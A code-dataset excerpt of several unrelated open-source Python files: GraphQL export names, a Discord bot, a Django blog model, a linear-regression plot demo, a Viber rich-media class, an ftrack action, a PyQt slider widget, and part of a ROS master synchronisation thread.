"is_required_input_field",
"is_specified_scalar_type",
"is_introspection_type",
"is_specified_directive",
"assert_schema",
"assert_directive",
"assert_type",
"assert_scalar_type",
"assert_object_type",
"assert_interface_type",
"assert_union_type",
"assert_enum_type",
"assert_input_object_type",
"assert_list_type",
"assert_non_null_type",
"assert_input_type",
"assert_output_type",
"assert_leaf_type",
"assert_composite_type",
"assert_abstract_type",
"assert_wrapping_type",
"assert_nullable_type",
"assert_named_type",
"get_nullable_type",
"get_named_type",
"validate_schema",
"assert_valid_schema",
"GraphQLType",
"GraphQLInputType",
"GraphQLOutputType",
"GraphQLLeafType",
"GraphQLCompositeType",
"GraphQLAbstractType",
"GraphQLWrappingType",
"GraphQLNullableType",
"GraphQLNamedType",
"Thunk",
"GraphQLArgument",
"GraphQLArgumentMap",
"GraphQLEnumValue",
"GraphQLEnumValueMap",
"GraphQLField",
"GraphQLFieldMap",
"GraphQLFieldResolver",
"GraphQLInputField",
"GraphQLInputFieldMap",
"GraphQLScalarSerializer",
"GraphQLScalarValueParser",
"GraphQLScalarLiteralParser",
"GraphQLIsTypeOfFn",
"GraphQLResolveInfo",
"ResponsePath",
"GraphQLTypeResolver",
"Source",
"get_location",
"print_location",
"print_source_location",
"Lexer",
"TokenKind",
"parse",
"parse_value",
"parse_type",
"print_ast",
"visit",
"ParallelVisitor",
"TypeInfoVisitor",
"Visitor",
"BREAK",
"SKIP",
"REMOVE",
"IDLE",
"DirectiveLocation",
"is_definition_node",
"is_executable_definition_node",
"is_selection_node",
"is_value_node",
"is_type_node",
"is_type_system_definition_node",
"is_type_definition_node",
"is_type_system_extension_node",
"is_type_extension_node",
"SourceLocation",
"Location",
"Token",
"Node",
"NameNode",
"DocumentNode",
"DefinitionNode",
"ExecutableDefinitionNode",
"OperationDefinitionNode",
"OperationType",
"VariableDefinitionNode",
"VariableNode",
"SelectionSetNode",
"SelectionNode",
"FieldNode",
"ArgumentNode",
"FragmentSpreadNode",
"InlineFragmentNode",
"FragmentDefinitionNode",
"ValueNode",
"IntValueNode",
"FloatValueNode",
"StringValueNode",
"BooleanValueNode",
"NullValueNode",
"EnumValueNode",
"ListValueNode",
"ObjectValueNode",
"ObjectFieldNode",
"DirectiveNode",
"TypeNode",
"NamedTypeNode",
"ListTypeNode",
"NonNullTypeNode",
"TypeSystemDefinitionNode",
"SchemaDefinitionNode",
"OperationTypeDefinitionNode",
"TypeDefinitionNode",
"ScalarTypeDefinitionNode",
"ObjectTypeDefinitionNode",
"FieldDefinitionNode",
"InputValueDefinitionNode",
"InterfaceTypeDefinitionNode",
"UnionTypeDefinitionNode",
"EnumTypeDefinitionNode",
"EnumValueDefinitionNode",
"InputObjectTypeDefinitionNode",
"DirectiveDefinitionNode",
"TypeSystemExtensionNode",
"SchemaExtensionNode",
"TypeExtensionNode",
"ScalarTypeExtensionNode",
"ObjectTypeExtensionNode",
"InterfaceTypeExtensionNode",
"UnionTypeExtensionNode",
"EnumTypeExtensionNode",
"InputObjectTypeExtensionNode",
"execute",
"default_field_resolver",
"default_type_resolver",
"response_path_as_list",
"get_directive_values",
"ExecutionContext",
"ExecutionResult",
"subscribe",
"create_source_event_stream",
"validate",
"ValidationContext",
"ValidationRule",
"ASTValidationRule",
"SDLValidationRule",
"specified_rules",
"FieldsOnCorrectTypeRule",
"FragmentsOnCompositeTypesRule",
"KnownArgumentNamesRule",
"KnownDirectivesRule",
"KnownFragmentNamesRule",
"KnownTypeNamesRule",
"LoneAnonymousOperationRule",
"NoFragmentCyclesRule",
"NoUndefinedVariablesRule",
"NoUnusedFragmentsRule",
"NoUnusedVariablesRule",
"OverlappingFieldsCanBeMergedRule",
"PossibleFragmentSpreadsRule",
"ProvidedRequiredArgumentsRule",
"ScalarLeafsRule",
"SingleFieldSubscriptionsRule",
"UniqueArgumentNamesRule",
"UniqueDirectivesPerLocationRule",
"UniqueFragmentNamesRule",
"UniqueInputFieldNamesRule",
"UniqueOperationNamesRule",
"UniqueVariableNamesRule",
"ValuesOfCorrectTypeRule",
"VariablesAreInputTypesRule",
"VariablesInAllowedPositionRule",
"GraphQLError",
"GraphQLSyntaxError",
"located_error",
"format_error",
"print_error",
"INVALID",
"get_introspection_query",
"get_operation_ast",
"get_operation_root_type",
"introspection_from_schema",
"build_client_schema",
"build_ast_schema",
"build_schema",
"get_description",
"extend_schema",
"lexicographic_sort_schema",
"print_schema",
"print_type",
"print_introspection_schema",
"type_from_ast",
"value_from_ast",
"value_from_ast_untyped",
"ast_from_value",
"TypeInfo",
"coerce_value",
"concat_ast",
"separate_operations",
"strip_ignored_characters",
"is_equal_type",
"is_type_sub_type_of",
"do_types_overlap",
"assert_valid_name",
"is_valid_name_error",
"find_breaking_changes",
"find_dangerous_changes",
"BreakingChange",
"BreakingChangeType",
"DangerousChange",
"DangerousChangeType",
]
| 26.236173 | 86 | 0.719405 |
795c24b3da49e2ae090259bbe945b10b4a65b66a | 925 | py | Python | pyshley/discord/launch.py | IndiBowstring/pyshley | 417976574833ffd1e2824e14d34c851cc238b2bc | [
"MIT"
] | null | null | null | pyshley/discord/launch.py | IndiBowstring/pyshley | 417976574833ffd1e2824e14d34c851cc238b2bc | [
"MIT"
] | null | null | null | pyshley/discord/launch.py | IndiBowstring/pyshley | 417976574833ffd1e2824e14d34c851cc238b2bc | [
"MIT"
] | null | null | null | import hikari
from pyshley.discord.checks import *
from pyshley.discord.dice import DicePlugin
from pyshley.lib.config import token, prefix
bot = lightbulb.BotApp(
token=token,
prefix=prefix,
intents=hikari.Intents.ALL,
default_enabled_guilds=(671825516310822959,),
help_slash_command=True)
bot.add_plugin(DicePlugin)
@bot.command
@lightbulb.add_checks(lightbulb.checks.human_only)
@lightbulb.command("ping", "Checks if Ashley is clocked in.")
@lightbulb.implements(lightbulb.PrefixCommand)
async def ping(ctx: lightbulb.Context) -> None:
await ctx.respond("I'm awake!")
@bot.command
@lightbulb.add_checks(lightbulb.Check(isValidAdmin))
@lightbulb.command("announce", "Sends a message through Ashley.")
@lightbulb.implements(lightbulb.PrefixCommand)
async def announce(ctx: lightbulb.Context) -> None:
await ctx.respond(ctx.event.message.content[10:])
await ctx.event.message.delete()
| 28.030303 | 65 | 0.76973 |
795c256b521a415e23c0eeeffd11bb168c3e3d20 | 540 | py | Python | django_project/blog/models.py | SuyashD95/Django-Tutorials | 5684bd39eecfc4074df5f4ab0b0c3c9929e51f3f | [
"MIT"
] | null | null | null | django_project/blog/models.py | SuyashD95/Django-Tutorials | 5684bd39eecfc4074df5f4ab0b0c3c9929e51f3f | [
"MIT"
] | null | null | null | django_project/blog/models.py | SuyashD95/Django-Tutorials | 5684bd39eecfc4074df5f4ab0b0c3c9929e51f3f | [
"MIT"
] | null | null | null | from django.db import models
from django.urls import reverse
from django.utils import timezone
from django.contrib.auth.models import User
# Create your models here.
class Post(models.Model):
title = models.CharField(max_length=100)
content = models.TextField()
date_posted = models.DateTimeField(default=timezone.now)
author = models.ForeignKey(User, on_delete=models.CASCADE)
def __str__(self):
return self.title
def get_absolute_url(self):
return reverse('post-detail', kwargs={'pk': self.pk})
| 30 | 62 | 0.735185 |
795c256ecf063670465c6cfb12032923ec7736c2 | 2,888 | py | Python | test/test3_linear_regression.py | hequn/MLLearning | e2b9b405ade00e7a69da28454aa8172c9006f0d0 | [
"MIT"
] | null | null | null | test/test3_linear_regression.py | hequn/MLLearning | e2b9b405ade00e7a69da28454aa8172c9006f0d0 | [
"MIT"
] | null | null | null | test/test3_linear_regression.py | hequn/MLLearning | e2b9b405ade00e7a69da28454aa8172c9006f0d0 | [
"MIT"
] | null | null | null | import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
# 本代码是一个最简单的线形回归问题,优化函数为经典的gradient descent
rate = 0.1 # learning rate
def da(y,y_p,x):
return (y-y_p)*(-x)
def db(y,y_p):
return (y-y_p)*(-1)
def calc_loss(a,b,x,y):
tmp = y - (a * x + b)
tmp = tmp ** 2 # 对矩阵内的每一个元素平方
SSE = sum(tmp) / (2 * len(x))
return SSE
def draw_hill(x,y):
a = np.linspace(-20,20,100)
print(a)
b = np.linspace(-20,20,100)
x = np.array(x)
y = np.array(y)
allSSE = np.zeros(shape=(len(a),len(b)))
for ai in range(0,len(a)):
for bi in range(0,len(b)):
a0 = a[ai]
b0 = b[bi]
SSE = calc_loss(a=a0,b=b0,x=x,y=y)
allSSE[ai][bi] = SSE
a,b = np.meshgrid(a, b)
return [a,b,allSSE]
# 模拟数据
x = [30 ,35,37, 59, 70, 76, 88, 100]
y = [1100, 1423, 1377, 1800, 2304, 2588, 3495, 4839]
# 数据归一化
x_max = max(x)
x_min = min(x)
y_max = max(y)
y_min = min(y)
for i in range(0,len(x)):
x[i] = (x[i] - x_min)/(x_max - x_min)
y[i] = (y[i] - y_min)/(y_max - y_min)
[ha,hb,hallSSE] = draw_hill(x,y)
hallSSE = hallSSE.T# 重要,将所有的losses做一个转置。原因是矩阵是以左上角至右下角顺序排列元素,而绘图是以左下角为原点。
# 初始化a,b值
a = 10.0
b = -20.0
fig = plt.figure(1, figsize=(12, 8))
# 绘制图1的曲面
ax = fig.add_subplot(2, 2, 1, projection='3d')
ax.set_top_view()
ax.plot_surface(ha, hb, hallSSE, rstride=2, cstride=2, cmap='rainbow')
# 绘制图2的等高线图
plt.subplot(2,2,2)
ta = np.linspace(-20, 20, 100)
tb = np.linspace(-20, 20, 100)
plt.contourf(ha,hb,hallSSE,15,alpha=0.5,cmap=plt.cm.hot)
C = plt.contour(ha,hb,hallSSE,15,colors='black')
plt.clabel(C,inline=True)
plt.xlabel('a')
plt.ylabel('b')
plt.ion() # iteration on
all_loss = []
all_step = []
last_a = a
last_b = b
for step in range(1,500):
loss = 0
all_da = 0
all_db = 0
for i in range(0,len(x)):
y_p = a*x[i] + b
loss = loss + (y[i] - y_p)*(y[i] - y_p)/2
all_da = all_da + da(y[i],y_p,x[i])
all_db = all_db + db(y[i],y_p)
#loss_ = calc_loss(a = a,b=b,x=np.array(x),y=np.array(y))
loss = loss/len(x)
# 绘制图1中的loss点
ax.scatter(a, b, loss, color='black')
# 绘制图2中的loss点
plt.subplot(2,2,2)
plt.scatter(a,b,s=5,color='blue')
plt.plot([last_a,a],[last_b,b],color='aqua')
# 绘制图3中的回归直线
plt.subplot(2, 2, 3)
plt.plot(x, y)
plt.plot(x, y, 'o')
x_ = np.linspace(0, 1, 2)
y_draw = a * x_ + b
plt.plot(x_, y_draw)
# 绘制图4的loss更新曲线
all_loss.append(loss)
all_step.append(step)
plt.subplot(2,2,4)
plt.plot(all_step,all_loss,color='orange')
plt.xlabel("step")
plt.ylabel("loss")
# print('a = %.3f,b = %.3f' % (a,b))
last_a = a
last_b = b
a = a - rate*all_da
b = b - rate*all_db
if step%1 == 0:
print("step: ", step, " loss: ", loss)
plt.show()
plt.pause(0.01)
plt.show()
plt.pause(99999999999) | 23.867769 | 73 | 0.573407 |
795c259e6934d3f0e58ae5940054baceaa88d2c4 | 1,574 | py | Python | viber_botapi/types/rich_media.py | EdiBoba/viber-botapi | 8b9de4529ea19e4fe184fc12f17e63af4e4b5f78 | [
"Apache-2.0"
] | 1 | 2022-01-23T10:55:27.000Z | 2022-01-23T10:55:27.000Z | viber_botapi/types/rich_media.py | EdiBoba/viber-botapi | 8b9de4529ea19e4fe184fc12f17e63af4e4b5f78 | [
"Apache-2.0"
] | null | null | null | viber_botapi/types/rich_media.py | EdiBoba/viber-botapi | 8b9de4529ea19e4fe184fc12f17e63af4e4b5f78 | [
"Apache-2.0"
] | null | null | null | from typing import Optional, Union
from botapi import ListField, Field
from .base import ViberModel
from .button import Button
from .favorites_metadata import FavoritesMetadata
class RichMedia(ViberModel):
"""Represents a Viber rich media object
Params:
https://developers.viber.com/docs/api/rest-bot-api/#rich-media-message--carousel-content-message
Keyboards:
https://developers.viber.com/docs/tools/keyboards/
Keyboards examples:
https://developers.viber.com/docs/tools/keyboard-examples/
Favorites metadata:
https://developers.viber.com/docs/tools/keyboards/#favoritesMetadata
"""
buttons = ListField(item_base=Button, default=[], alias='Buttons')
bg_color = Field(base=str, alias='BgColor')
media_type = Field(default='rich_media', alias='Type')
buttons_group_columns = Field(base=int, alias='ButtonsGroupColumns')
buttons_group_rows = Field(base=int, alias='ButtonsGroupRows')
favorites_metadata = Field(base=FavoritesMetadata, alias='FavoritesMetadata')
def __init__(
self,
buttons: list = None,
bg_color: str = None,
buttons_group_columns: int = None,
buttons_group_rows: int = None,
favorites_metadata: Union[FavoritesMetadata, dict, None] = None,
**kwargs
):
super().__init__(
buttons=buttons,
bg_color=bg_color,
buttons_group_columns=buttons_group_columns,
buttons_group_rows=buttons_group_rows,
favorites_metadata=favorites_metadata,
**kwargs)
| 32.122449 | 100 | 0.69568 |
795c2664cc3354d9d0e64eff94f43e7b6130f1ea | 1,350 | py | Python | pype/ftrack/actions/action_where_run_ask.py | tws0002/pype | 80b1aad9990f6c7efabf0430a3da6633054bf4a8 | [
"MIT"
] | null | null | null | pype/ftrack/actions/action_where_run_ask.py | tws0002/pype | 80b1aad9990f6c7efabf0430a3da6633054bf4a8 | [
"MIT"
] | null | null | null | pype/ftrack/actions/action_where_run_ask.py | tws0002/pype | 80b1aad9990f6c7efabf0430a3da6633054bf4a8 | [
"MIT"
] | null | null | null | import os
from pype.vendor import ftrack_api
from pype.ftrack import BaseAction
from pype.vendor.ftrack_api import session as fa_session
class ActionAskWhereIRun(BaseAction):
""" Sometimes user forget where pipeline with his credentials is running.
- this action triggers `ActionShowWhereIRun`
"""
# Action is ignored by default
ignore_me = True
#: Action identifier.
identifier = 'ask.where.i.run'
#: Action label.
label = 'Ask where I run'
#: Action description.
description = 'Triggers PC info where user have running Pype'
#: Action icon
icon = '{}/ftrack/action_icons/ActionAskWhereIRun.svg'.format(
os.environ.get('PYPE_STATICS_SERVER', '')
)
def discover(self, session, entities, event):
""" Hide by default - Should be enabled only if you want to run.
- best practise is to create another action that triggers this one
"""
return True
def launch(self, session, entities, event):
more_data = {"event_hub_id": session.event_hub.id}
self.trigger_action(
"show.where.i.run", event, additional_event_data=more_data
)
return True
def register(session, plugins_presets={}):
'''Register plugin. Called when used as an plugin.'''
ActionAskWhereIRun(session, plugins_presets).register()
| 30.681818 | 77 | 0.679259 |
795c2801193f177aa121a5a3c235a53a4ee7a04b | 2,295 | py | Python | src/gripit/gui/QLabelSlider.py | yor1001/GripIt | a06b300df56473f692cbb9154d60525d35137ee3 | [
"MIT"
] | null | null | null | src/gripit/gui/QLabelSlider.py | yor1001/GripIt | a06b300df56473f692cbb9154d60525d35137ee3 | [
"MIT"
] | null | null | null | src/gripit/gui/QLabelSlider.py | yor1001/GripIt | a06b300df56473f692cbb9154d60525d35137ee3 | [
"MIT"
] | null | null | null | from __future__ import division
from __future__ import unicode_literals
from __future__ import print_function
from __future__ import absolute_import
from builtins import super
from builtins import str
from future import standard_library
standard_library.install_aliases()
from PyQt5 import QtCore, QtGui
from PyQt5.QtGui import QSlider, QWidget, QVBoxLayout, QHBoxLayout, QLabel
__author__ = 'Andres'
class QLabelSlider(QWidget):
def __init__(self, sliderOrientation=None):
super(QLabelSlider, self).__init__()
self._slider = QSlider(sliderOrientation)
self.setLayout(QVBoxLayout())
self._labelTicksWidget = QWidget(self)
self._labelTicksWidget.setLayout(QHBoxLayout())
self._labelTicksWidget.layout().setContentsMargins(0, 0, 0, 0)
self.layout().addWidget(self._slider)
self.layout().setContentsMargins(0, 0, 0, 0)
self.layout().setContentsMargins(0, 0, 0, 0)
self.layout().addWidget(self._labelTicksWidget)
def setTickLabels(self, listWithLabels):
return
lengthOfList = len(listWithLabels)
for index, label in enumerate(listWithLabels):
label.setFont(QtGui.QFont("Sans", 10, QtGui.QFont.Bold))
label.setContentsMargins(0, 0, 0, 0)
if index > lengthOfList/3:
label.setAlignment(QtCore.Qt.AlignCenter)
if index > 2*lengthOfList/3:
label.setAlignment(QtCore.Qt.AlignRight)
self._labelTicksWidget.layout().addWidget(label)
def setRange(self, mini, maxi):
self._slider.setRange(mini, maxi)
self._labels = [QLabel(str(mini)), QLabel(str(mini)), QLabel(str(maxi))]
self.setTickLabels(self._labels)
def setPageStep(self, value):
self._slider.setPageStep(value)
def setTickInterval(self, value):
self._slider.setTickInterval(value)
def setTickPosition(self, position):
self._slider.setTickPosition(position)
def setValue(self, value):
self._labels[1].setText(str(value))
self._slider.setValue(value)
def onValueChangedCall(self, function):
def _valueChanged(val):
self._labels[1].setText(str(val))
function(val)
self._slider.valueChanged.connect(_valueChanged) | 37.016129 | 80 | 0.688017 |
795c28fcdf5666edd9c3c9a37648305728968195 | 35,525 | py | Python | fkie_master_sync/src/fkie_master_sync/sync_thread.py | tkazik/multimaster_fkie | 8b52a5066545548b205352a330fee9072d8ecc06 | [
"BSD-3-Clause"
] | 194 | 2015-01-21T12:46:42.000Z | 2022-03-29T08:22:22.000Z | fkie_master_sync/src/fkie_master_sync/sync_thread.py | tkazik/multimaster_fkie | 8b52a5066545548b205352a330fee9072d8ecc06 | [
"BSD-3-Clause"
] | 146 | 2015-01-13T23:02:24.000Z | 2022-03-23T05:54:02.000Z | fkie_master_sync/src/fkie_master_sync/sync_thread.py | tkazik/multimaster_fkie | 8b52a5066545548b205352a330fee9072d8ecc06 | [
"BSD-3-Clause"
] | 103 | 2015-02-08T23:20:02.000Z | 2022-03-27T12:45:48.000Z | # Software License Agreement (BSD License)
#
# Copyright (c) 2012, Fraunhofer FKIE/US, Alexander Tiderko
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following
# disclaimer in the documentation and/or other materials provided
# with the distribution.
# * Neither the name of Fraunhofer nor the names of its
# contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
import random
import roslib
import roslib.message
import socket
import threading
import time
import traceback
try:
import xmlrpclib as xmlrpcclient
except ImportError:
import xmlrpc.client as xmlrpcclient
from fkie_multimaster_msgs.msg import SyncTopicInfo, SyncServiceInfo, SyncMasterInfo
import rospy
from fkie_master_discovery.common import masteruri_from_ros, get_hostname
from fkie_master_discovery.filter_interface import FilterInterface
class SyncThread(object):
'''
A thread to synchronize the local ROS master with a remote master. While the
synchronization only the topic of the remote ROS master will be registered by
the local ROS master. The remote ROS master will be keep unchanged.
'''
MAX_UPDATE_DELAY = 5 # times
MSG_ANY_TYPE = '*'
def __init__(self, name, uri, discoverer_name, monitoruri, timestamp, sync_on_demand=False, callback_resync=None):
'''
Initialization method for the SyncThread.
@param name: the name of the ROS master synchronized with.
@type name: C{str}
@param uri: the URI of the ROS master synchronized with
@type uri: C{str}
@param discoverer_name: the name of the discovery node running on ROS master synchronized with.
@type discoverer_name: C{str}
@param monitoruri: The URI of RPC server of the discovery node to get the ROS master state by calling a method only once.
@type monitoruri: C{str}
@param timestamp: The timestamp of the current state of the ROS master info.
@type timestamp: C{float64}
@param sync_on_demand: Synchronize topics on demand
@type sync_on_demand: bool
'''
self.name = name
self.uri = uri
self.discoverer_name = discoverer_name
self.monitoruri = monitoruri
self.timestamp = timestamp
self.timestamp_local = 0.
self.timestamp_remote = 0.
self._online = True
self._offline_ts = 0
self.masteruri_local = masteruri_from_ros()
self.hostname_local = get_hostname(self.masteruri_local)
rospy.logdebug("SyncThread[%s]: create this sync thread, discoverer_name: %s", self.name, self.discoverer_name)
# synchronization variables
self.__lock_info = threading.RLock()
self.__lock_intern = threading.RLock()
self._use_filtered_method = None
self._use_md5check_topics = None
self._md5warnings = {} # ditionary of {(topicname, node, nodeuri) : (topictype, md5sum)}
self._topic_type_warnings = {} # ditionary of {(topicname, node, nodeuri) : remote topictype}
# SyncMasterInfo with currently synchronized nodes, publisher (topic, node, nodeuri), subscriber(topic, node, nodeuri) and services
self.__sync_info = None
self.__unregistered = False
# a list with published topics as a tuple of (topic name, node name, node URL)
self.__publisher = []
# a list with subscribed topics as a tuple of (topic name, node name, node URL)
self.__subscriber = []
# a list with services as a tuple of (service name, service URL, node name, node URL)
self.__services = []
# the state of the own ROS master is used if `sync_on_demand` is enabled or
# to determine the type of topic subscribed remote with `Empty` type
self.__own_state = None
self.__callback_resync = callback_resync
self.__has_remove_sync = False
# setup the filter
self._filter = FilterInterface()
self._filter.load(self.name,
['/rosout', self.discoverer_name, '/master_discovery', '/master_sync', '/node_manager', '/node_manager_daemon', '/zeroconf', '/param_sync'], [],
['/rosout', '/rosout_agg', '/master_discovery/*', '/master_sync/*', '/zeroconf/*'], ['/'] if sync_on_demand else [],
['/*get_loggers', '/*set_logger_level', '/master_discovery/*', '/master_sync/*', '/node_manager_daemon/*', '/zeroconf/*'], [],
# do not sync the bond message of the nodelets!!
['bond/Status', 'fkie_multimaster_msgs/SyncTopicInfo', 'fkie_multimaster_msgs/SyncServiceInfo', 'fkie_multimaster_msgs/SyncMasterInfo', 'fkie_multimaster_msgs/MasterState'],
[], [],
[])
# congestion avoidance: wait for random.random*2 sec. If an update request
# is received try to cancel and restart the current timer. The timer can be
# canceled for maximal MAX_UPDATE_DELAY times.
self._update_timer = None
self._delayed_update = 0
self.__on_update = False
def get_sync_info(self):
'''
Returns the synchronized publisher, subscriber and services.
@rtype: SyncMasterInfo
'''
with self.__lock_info:
if self.__sync_info is None:
# create a sync info
result_set = set()
result_publisher = []
result_subscriber = []
result_services = []
for (t_n, _t_t, n_n, n_uri) in self.__publisher:
result_publisher.append(SyncTopicInfo(t_n, n_n, n_uri))
result_set.add(n_n)
for (t_n, _t_t, n_n, n_uri) in self.__subscriber:
result_subscriber.append(SyncTopicInfo(t_n, n_n, n_uri))
result_set.add(n_n)
for (s_n, s_uri, n_n, n_uri) in self.__services:
result_services.append(SyncServiceInfo(s_n, s_uri, n_n, n_uri))
result_set.add(n_n)
self.__sync_info = SyncMasterInfo(self.uri, list(result_set), result_publisher, result_subscriber, result_services)
return self.__sync_info
def set_online(self, value, resync_on_reconnect_timeout=0.):
if value:
if not self._online:
with self.__lock_intern:
self._online = True
offline_duration = time.time() - self._offline_ts
if offline_duration >= resync_on_reconnect_timeout:
rospy.loginfo("SyncThread[%s]: perform resync after the host was offline (unregister and register again to avoid connection losses to python topic. These does not suppot reconnection!)", self.name)
if self._update_timer is not None:
self._update_timer.cancel()
self._unreg_on_finish()
self.__unregistered = False
self.__publisher = []
self.__subscriber = []
self.__services = []
self.timestamp = 0.
self.timestamp_local = 0.
self.timestamp_remote = 0.
else:
rospy.loginfo("SyncThread[%s]: skip resync after the host was offline because of resync_on_reconnect_timeout=%.2f and the host was only %.2f sec offline", self.name, resync_on_reconnect_timeout, offline_duration)
else:
self._online = False
self._offline_ts = time.time()
def update(self, name, uri, discoverer_name, monitoruri, timestamp):
'''
Sets a request to synchronize the local ROS master with this ROS master.
@note: If currently a synchronization is running this request will be ignored!
@param name: the name of the ROS master synchronized with.
@type name: C{str}
@param uri: the URI of the ROS master synchronized with
@type uri: C{str}
@param discoverer_name: the name of the discovery node running on ROS master synchronized with.
@type discoverer_name: C{str}
@param monitoruri: The URI of RPC server of the discovery node to get the ROS master state by calling a method only once.
@type monitoruri: C{str}
@param timestamp: The timestamp of the current state of the ROS master info.
@type timestamp: C{float64}
'''
# rospy.logdebug("SyncThread[%s]: update request", self.name)
with self.__lock_intern:
self.timestamp_remote = timestamp
if (self.timestamp_local != timestamp):
rospy.logdebug("SyncThread[%s]: update notify new timestamp(%.9f), old(%.9f)", self.name, timestamp, self.timestamp_local)
self.name = name
self.uri = uri
self.discoverer_name = discoverer_name
self.monitoruri = monitoruri
self._request_update()
# rospy.logdebug("SyncThread[%s]: update exit", self.name)
def set_own_masterstate(self, own_state, sync_on_demand=False):
'''
Sets the state of the local ROS master state. If this state is not None, the topics on demand will be synchronized.
@param own_state: the state of the local ROS master state
@type own_state: C{fkie_master_discovery/MasterInfo}
@param sync_on_demand: if True, sync only topic, which are also local exists (Default: False)
@type sync_on_demand: bool
'''
with self.__lock_intern:
timestamp_local = own_state.timestamp_local
if self.__own_state is None or (self.__own_state.timestamp_local != timestamp_local):
ownstate_ts = self.__own_state.timestamp_local if self.__own_state is not None else float('nan')
rospy.logdebug("SyncThread[%s]: local state update notify new timestamp(%.9f), old(%.9f)", self.name, timestamp_local, ownstate_ts)
self.__own_state = own_state
if sync_on_demand:
self._filter.update_sync_topics_pattern(self.__own_state.topic_names)
self._request_update()
def stop(self):
'''
Stops running thread.
'''
rospy.logdebug(" SyncThread[%s]: stop request", self.name)
with self.__lock_intern:
if self._update_timer is not None:
self._update_timer.cancel()
self._unreg_on_finish()
rospy.logdebug(" SyncThread[%s]: stop exit", self.name)
def _request_update(self):
with self.__lock_intern:
r = random.random() * 2.
# start update timer with a random waiting time to avoid a congestion picks on changes of ROS master state
if self._update_timer is None or not self._update_timer.is_alive():
del self._update_timer
self._update_timer = threading.Timer(r, self._request_remote_state, args=(self._apply_remote_state,))
self._update_timer.start()
else:
if self._delayed_update < self.MAX_UPDATE_DELAY:
# if the timer thread can be canceled start new one
self._update_timer.cancel()
# if callback (XMLRPC request) is already running the timer is not canceled -> test for `self.__on_update`
if not self._update_timer.is_alive() or not self.__on_update:
self._delayed_update += 1
self._update_timer = threading.Timer(r, self._request_remote_state, args=(self._apply_remote_state,))
self._update_timer.start()
def _request_remote_state(self, handler):
self._delayed_update = 0
self.__on_update = True
try:
# connect to master_monitor rpc-xml server of remote master discovery
socket.setdefaulttimeout(20)
remote_monitor = xmlrpcclient.ServerProxy(self.monitoruri)
# determine the getting method: older versions have not a filtered method
if self._use_filtered_method is None:
try:
self._use_filtered_method = 'masterInfoFiltered' in remote_monitor.system.listMethods()
except:
self._use_filtered_method = False
remote_state = None
# get the state informations
rospy.loginfo("SyncThread[%s] Requesting remote state from '%s'", self.name, self.monitoruri)
if self._use_filtered_method:
remote_state = remote_monitor.masterInfoFiltered(self._filter.to_list())
else:
remote_state = remote_monitor.masterInfo()
if not self.__unregistered:
handler(remote_state)
except:
rospy.logerr("SyncThread[%s] ERROR: %s", self.name, traceback.format_exc())
finally:
self.__on_update = False
socket.setdefaulttimeout(None)
def _apply_remote_state(self, remote_state):
rospy.loginfo("SyncThread[%s] Applying remote state...", self.name)
try:
rospy.logdebug("SyncThread[%s]: remote state: %s" % (self.name, remote_state))
stamp = float(remote_state[0])
stamp_local = float(remote_state[1])
remote_masteruri = remote_state[2]
# remote_mastername = remote_state[3]
publishers = remote_state[4]
subscribers = remote_state[5]
rservices = remote_state[6]
topicTypes = remote_state[7]
nodeProviders = remote_state[8]
serviceProviders = remote_state[9]
# create a multicall object
own_master = xmlrpcclient.ServerProxy(self.masteruri_local)
own_master_multi = xmlrpcclient.MultiCall(own_master)
# fill the multicall object
handler = []
# sync the publishers
publisher = []
publisher_to_register = []
remove_sync_found = False
for (topic, nodes) in publishers:
for node in nodes:
if node == rospy.get_name():
self.__has_remove_sync = True
remove_sync_found = True
break
for (topic, nodes) in publishers:
for node in nodes:
topictype = self._get_topictype(topic, topicTypes)
nodeuri = self._get_nodeuri(node, nodeProviders, remote_masteruri)
if topictype and nodeuri and not self._do_ignore_ntp(node, topic, topictype):
# register the nodes only once
if not ((topic, topictype, node, nodeuri) in self.__publisher):
publisher_to_register.append((topic, topictype, node, nodeuri))
publisher.append((topic, topictype, node, nodeuri))
# unregister not updated publishers
for (topic, topictype, node, nodeuri) in set(self.__publisher) - set(publisher):
own_master_multi.unregisterPublisher(node, topic, nodeuri)
rospy.logdebug("SyncThread[%s]: prepare UNPUB %s[%s] %s",
self.name, node, nodeuri, topic)
handler.append(('upub', topic, node, nodeuri))
# delete from warning list
with self.__lock_info:
if (topic, node, nodeuri) in self._md5warnings:
del self._md5warnings[(topic, node, nodeuri)]
# register new publishers
for (topic, topictype, node, nodeuri) in publisher_to_register:
own_master_multi.registerPublisher(node, topic, topictype, nodeuri)
rospy.logdebug("SyncThread[%s]: prepare PUB %s[%s] %s[%s]",
self.name, node, nodeuri, topic, topictype)
handler.append(('pub', topic, topictype, node, nodeuri))
# sync the subscribers
subscriber = []
subscriber_to_register = []
for (topic, nodes) in subscribers:
for node in nodes:
topictype = self._get_topictype(topic, topicTypes)
nodeuri = self._get_nodeuri(node, nodeProviders, remote_masteruri)
# if remote topictype is None, try to set to the local topic type
# if not topictype and not self.__own_state is None:
# if topic in self.__own_state.topics:
# topictype = self.__own_state.topics[topic].type
if not topictype:
topictype = self.MSG_ANY_TYPE
if topictype and nodeuri and not self._do_ignore_nts(node, topic, topictype):
# register the node as subscriber in local ROS master
if not ((topic, node, nodeuri) in self.__subscriber):
